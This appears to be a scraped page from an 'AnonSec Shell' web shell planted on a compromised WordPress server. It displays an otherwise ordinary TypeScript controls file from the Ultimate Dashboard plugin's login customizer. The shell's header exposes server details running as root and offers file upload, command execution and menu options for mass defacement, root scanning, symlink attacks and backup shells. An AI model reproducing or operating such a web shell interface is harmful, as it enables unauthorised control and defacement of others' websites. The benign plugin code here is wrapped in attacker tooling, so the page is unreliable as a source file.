AnonSec Shell
Server IP : 104.21.14.48  /  Your IP : 18.188.119.50   [ Reverse IP ]
Web Server : Apache
System : Linux b70eb322-3aee-0c53-7c82-0db91281f2c6.secureserver.net 6.1.90-1.el9.elrepo.x86_64 #1 SMP PREEMPT_DYNAMIC Thu May 2 12:09:22 EDT 2024 x86_64
User : root ( 0)
PHP Version : 8.0.30.2
Disable Function : NONE
Domains : 0 Domains
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/wp-content/plugins/ultimate-dashboard/modules/login-customizer/src/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/wp-content/plugins/ultimate-dashboard/modules/login-customizer/src/js/controls.ts
import setupPolyfills from "./polyfills";
import { udbLoginCustomizerInterface } from "./interfaces";
import insertProLink from "./controls/helpers/insert-pro-link";

// Import controls setup functions.
import setupLoginTemplateControl from "./controls/setup-controls/login-template-control";
import setupColorControl from "./controls/setup-controls/color-control";
import setupRangeControl from "./controls/setup-controls/range-control";
import setupColorPickerControl from "./controls/setup-controls/color-picker-control";

// Imports panels state listener.
import listenLoginCustomizerPanelState from "./controls/listen-changes/panels/login-customizer-panel";

// Imports sections state listener.
import listenBgSectionState from "./controls/listen-changes/sections/bg-section";
import listenTemplateSectionState from "./controls/listen-changes/sections/template-section";
import listenLayoutSectionState from "./controls/listen-changes/sections/layout-section";

// Imports fields change listener.
import listenEnableFormShadowFieldChange from "./controls/listen-changes/fields/enable-form-shadow";
import listenBgImageFieldChange from "./controls/listen-changes/fields/bg-image";
import listenEnableBgOverlayFieldChange from "./controls/listen-changes/fields/enable-bg-overlay";
import listenBgPositionFieldChange from "./controls/listen-changes/fields/bg-position";
import listenBgSizeFieldChange from "./controls/listen-changes/fields/bg-size";

declare var wp: any;
declare var udbLoginCustomizer: udbLoginCustomizerInterface;

setupPolyfills();

/**
 * Scripts within customizer control panel.
 *
 * Used global objects:
 * - jQuery
 * - wp
 * - udbLoginCustomizer
 */
(function () {
	wp.customize.bind("ready", function () {
		setupControls();
		listen();
		if (!udbLoginCustomizer.isProActive) insertProLink();
	});

	const setupControls = () => {
		setupColorPickerControl();
		setupRangeControl();
		setupColorControl();
		setupLoginTemplateControl();
	};

	const listen = () => {
		listenPanelsState();
		listenSectionsState();
		listenFieldsChange();
	};

	const listenPanelsState = () => {
		listenLoginCustomizerPanelState();
	};

	const listenSectionsState = () => {
		listenLayoutSectionState();

		listenBgSectionState({
			sectionName: "udb_login_customizer_bg_section",
			keyPrefix: "",
		});

		listenBgSectionState({
			sectionName: "udb_login_customizer_layout_section",
			keyPrefix: "form_",
		});

		if (!udbLoginCustomizer.isProActive) {
			listenTemplateSectionState();
		} else {
			document.body.classList.add("udb-pro-active");
		}
	};

	const listenFieldsChange = () => {
		listenBgImageFieldChange({
			keyPrefix: "",
		});

		listenEnableBgOverlayFieldChange();

		listenBgImageFieldChange({
			keyPrefix: "form_",
		});

		listenBgPositionFieldChange({
			keyPrefix: "",
		});

		listenBgPositionFieldChange({
			keyPrefix: "form_",
		});

		listenBgSizeFieldChange({
			keyPrefix: "",
		});

		listenBgSizeFieldChange({
			keyPrefix: "form_",
		});

		listenEnableFormShadowFieldChange();
	};
})();

Anon7 - 2022
AnonSec Team